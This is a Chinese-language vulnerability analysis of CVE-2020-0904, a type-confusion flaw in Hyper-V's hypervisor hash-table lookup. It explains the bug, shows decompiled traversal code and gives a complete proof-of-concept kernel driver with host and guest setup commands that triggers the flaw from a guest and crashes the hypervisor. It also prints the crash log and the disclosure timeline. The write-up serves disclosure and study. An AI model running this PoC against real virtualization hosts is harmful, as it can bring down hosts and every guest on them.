CVE-2020-0904:Hyper-V类型混淆任意地址解引用漏洞分析

 

0x00 影响平台

Windows 10.0.18363.418
Hyper-V内核版本18362 x64
早期版本也受影响。

 

0x01 技术细节

Hyper-V的一些hypervisor组件中使用了一个哈希表的实现,通过在结构体的定义中嵌入一个entry字段,可以把对象链接起来,类似链表的LIST_ENTRY的用法。

entry的结构可定义如下:

struct entry
{
  struct entry *next;
  unsigned long key;
};

包含entry字段的哈希表对象的key对应的值被初始化为-1,这一项用作遍历表时的结束标志。如果攻击者搜索值-1,查找函数的一个漏洞将导致调用者认为搜索成功,且查找函数会返回这个末尾表项。调用者会认为这是表中的普通有效表项,接着去使用它。

哈希表对象的结构体中的部分字段如下:

  • 桶的数量
  • 元素的数量
  • 指向桶(至多30个)的指针数组
  • 末尾表项entry,其key=-1next=NULL
  • 指向表头的指针(初始化为末尾表项)

我们关心的字段是哈希表结构中内嵌的末尾表项和表头,从表头出发可以得到表中所有元素。表头初始化为指向末尾表项。

所有元素链接在一起,按key升序排列。桶用来索引表项,以便加速查找时间。

当插入元素或者查找key时,原始key进行如下变换:

key = reverse_bits64(key) | 1

key的最高位丢失了,导致可能出现key碰撞:k' = k ^ (1 << 63)。如果原始key未进行明确比较的话,这可能导致安全问题。一些理论上的攻击情形包括:

  • 用keyk无权访问某个对象,但用keyk'却可以通过检查而进行访问
  • 可以用k'来删除k
  • 预先插入对象k'从而使后续k的插入失败

目前尚未发现这些潜在的问题真正出现,但是使用这种实现时应当加以注意。

桶有自己的表元素和keys,以如下方式产生:

>>> def keys(bucket_count):
...   return [list(range((1 << x) & ~1, (1 << (x+1)) & ~1))
...          for x in range(0, bucket_count)]

例如有4个桶,那么产生的keys为:

>>> keys(4)
[[0, 1], [2, 3], [4, 5, 6, 7], [8, 9, 10, 11, 12, 13, 14, 15]]

这些keys也进行位反转,但不和1进行或操作,保证其在查找时不会和通常的元素keys匹配。

最后是遍历函数,在元素放入表中某部位(由桶索引)后调用遍历函数。此时必须遍历元素来寻找匹配的key。

bool __fastcall fun_traversal(struct entry *list_head, unsigned __int64 key,
 volatile signed __int64 **pPrevious, volatile signed __int64 **pCurrent)
{
  struct entry *head; // rbx
  struct entry *previous; // r10
  struct entry *current; // rax
  struct entry *_next; // rcx
  struct entry *next; // rcx

  head = list_head;
LABEL_2:
  previous = head;
  for ( current = (head->next & 0xFFFFFFFFFFFFFFFEui64); ; current = next )
  {
    _next = current->next;
    *pPrevious = previous;
    *pCurrent = current;
    if ( !(_next & 1) )
      break;
    next = (_next & 0xFFFFFFFFFFFFFFFEui64);
    if ( current != _InterlockedCompareExchange(previous, next, current) )
      goto LABEL_2;
LABEL_7:
    ;
  }
  if ( *&current->key < key )
  {
    previous = current;
    next = (_next & 0xFFFFFFFFFFFFFFFEui64);
    goto LABEL_7;
  }
  return *&current->key == key;
}

该函数遍历给定的表,从head开始,直到找到大于等于key参数的key。参数pPreviouspCurrent被设为最后访问的表项的地址。如果找到了key,返回true,否则返回false

进行查找的代码会期望遍历函数在key未找到时返回false,但是如果我们查找的是末尾表项的key(-1)的话,因为-1的二进制位全为1,所以与1或的操作无法保护它,函数将会返回true,而pCurrent则指向末尾表项。

只需搜索key0xffffffffffffffff就可以触发这个问题,碰撞的key0x7fffffffffffffff也会产生此行为。

如上所述,返回的表项类似于LIST_ENTRY字段,所以要计算所对应的对象的基地址,就需要减去字段的偏移:

CONTAINING_RECORD(resulting_base, struct obj_type, entry_field)

因为返回的地址是末尾表项的地址,对其应用CONTAINING_RECORD将会返回哈希表对象内部(或其下方)的任意地址。调用者会认为这是所期望的对象类型,而接着对这个任意指针进行操作。

 

0x02 影响

该漏洞的影响范围取决于影响着最终的偏移地址的一些条件,漏洞可以潜在导致任意代码执行。

这些条件例如:

  • 调用者的对象大小和entry字段的偏移
  • 发行版/平台间结构体布局的差异

 

0x03 PoC

以下PoC可触发漏洞,使用了HvFlushGuestPhysicalAddressSpace hypercall,我们认为这是最简单的触发路径。

需要在Windows客户机中加载驱动,且客户机开启嵌套虚拟化,禁用Hyper-V。

主机运行:

Set-VMProcessor -VMName poc_vm -ExposeVirtualizationExtensions $true

客户机运行(需要重启):

bcdedit /set hypervisorlaunchtype off
#include <intrin.h>
#include <intrin.h>
#include <ntddk.h>
#include <wdf.h>
#include <initguid.h>

EXTERN_C_START
DRIVER_INITIALIZE DriverEntry;
EXTERN_C_END

#ifdef ALLOC_PRAGMA
#pragma alloc_text (INIT, DriverEntry)
#endif

#pragma code_seg(push, r1, ".text")
__declspec(allocate(".text")) BYTE trigger[] =
{
    0x48, 0x89, 0xC8,             //  mov rax, rcx               hypercall page
    0xB9, 0xAF, 0x00, 0x01, 0x00, //  mov ecx, 0x100af
    0x48, 0xBA, 0xFF, 0xFF, 0xFF, //           HvFlushGuestPhysicalAddressSpace
    0xFF, 0xFF, 0xFF, 0xFF, 0x7F, //  mov rdx,0x7fffffffffffffff            GPA
    0x4D, 0x31, 0xC0,             //  xor r8,r8                           flags
    0xFF, 0xD0                    //  call rax
};
#pragma code_seg(pop, r1)

typedef void(* TriggerCall)(void *hc_page);

typedef union hv_x64_msr_contents
{
    UINT64 as_uint64;
    struct
    {
        UINT64 enable : 1;
        UINT64 reserved : 11;
        UINT64 guest_physical_address : 52;
    } u;
} hv_msr_contents;

#define HV_X64_MSR_GUEST_OS_ID              0x40000000
#define HV_X64_MSR_HYPERCALL                0x40000001
#define HV_X64_MSR_VP_ASSIST_PAGE                0x40000073
#define CR4_VMXE (1 << 13)
#define CPUID_FEAT_ECX_VMX (1 << 5)
#define MSR_IA32_VMX_BASIC 0x480

__declspec(align(0x1000)) UINT32 vmxon_page[1024];
__declspec(align(0x1000)) UINT32 assist_page[1024];


NTSTATUS enable_vmxe(void)
{
    int cpuInfo[4];
    NTSTATUS status = STATUS_NOT_IMPLEMENTED;

    __cpuid(cpuInfo, 1);

    if (cpuInfo[2] & CPUID_FEAT_ECX_VMX)
    {
        UINT64 cr4 = __readcr4();
        UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart;

        KdPrint(("[+] Virtualization support detected"));

        if (!(cr4 & CR4_VMXE))
        {
            KdPrint(("[+] Enabling VMXE..."));
            __writecr4(cr4 | CR4_VMXE);
        }

        memset(vmxon_page, 0, sizeof(vmxon_page));
        vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC);
        KdPrint(("[+] VMX revision %x", vmxon_page[0]));
        KdPrint(("[+] Entering monitor mode..."));

        if (__vmx_on(&pvmxon_page))
            KdPrint(("[-] VMXON failed"));
        else
            status = STATUS_SUCCESS;
    }

    return status;
}


NTSTATUS
DriverEntry(
    _In_ PDRIVER_OBJECT  DriverObject,
    _In_ PUNICODE_STRING RegistryPath
    )
{
    void* hypercall_page;
    hv_msr_contents hc_page, assist;
    PHYSICAL_ADDRESS pa_hcpage;
    NTSTATUS status = enable_vmxe();

    if (!NT_SUCCESS(status))
        return status;

    hc_page.as_uint64 = __readmsr(HV_X64_MSR_HYPERCALL);
    pa_hcpage.QuadPart = hc_page.u.guest_physical_address << PAGE_SHIFT;
    hypercall_page = MmMapIoSpace(pa_hcpage, PAGE_SIZE, MmNonCached);
    memset(&assist_page, 0, sizeof(assist_page));
    assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart;
    assist.u.enable = 1;
    __writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64);
    ((TriggerCall)trigger)(hypercall_page); // Boom
    return status;
}

PoC中,基址计算的结果是对哈希表对象的桶数的偏移,应返回的对象第一个字段是传给下一个函数的指针。函数得到的是0x10(桶数),然后对其解引用导致系统崩溃。

Access violation - code c0000005 (!!! second chance !!!)
hv+0x30548c:
fffffbf3`a090548c 488b01          mov     rax,qword ptr [rcx]
3: kd> r rcx
rcx=0000000000000010
3: kd> kb
 # RetAddr           : Args to
Child                                                           : Call Site
00 fffffbf3`a0904cce : ffffe802`c5604190 ffffe802`c56048c0
00000000`00000003 ffffe802`c5608050 : hv+0x30548c
01 fffffbf3`a09026f3 : ffffe802`c5604050 fffffbf3`a1201068
00000000`00000001 fffffbf3`a090f7e9 : hv+0x304cce
02 fffffbf3`a08b6363 : 00000000`00000010 ffff9d86`d2a8f7b8
00000000`00000000 00000000`00000000 : hv+0x3026f3
03 fffffbf3`a0829068 : 00000000`00000000 00000000`00000002
00000000`00000000 fffffbf3`a082ea1e : hv+0x2b6363
04 fffffbf3`a0828cf2 : 00000000`00000000 fffffbf3`a08255c1
ffffe802`c5608050 fffffbf3`a081d842 : hv+0x229068
05 fffffbf3`a081e1de : 00000000`00000000 00000000`0010003a
00000000`0010003a 00000000`000100af : hv+0x228cf2
06 fffffbf3`a08734f6 : 00000000`00000000 ffffe802`c5608000
00000000`800000ff 00000000`00000001 : hv+0x21e1de
07 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : hv+0x2734f6

 

0x04 时间线

2020-06-02:漏洞报告发送至secure@microsoft.com
2020-07-21:微软确认奖金15000美元
2020-09-08:微软发布补丁

(完)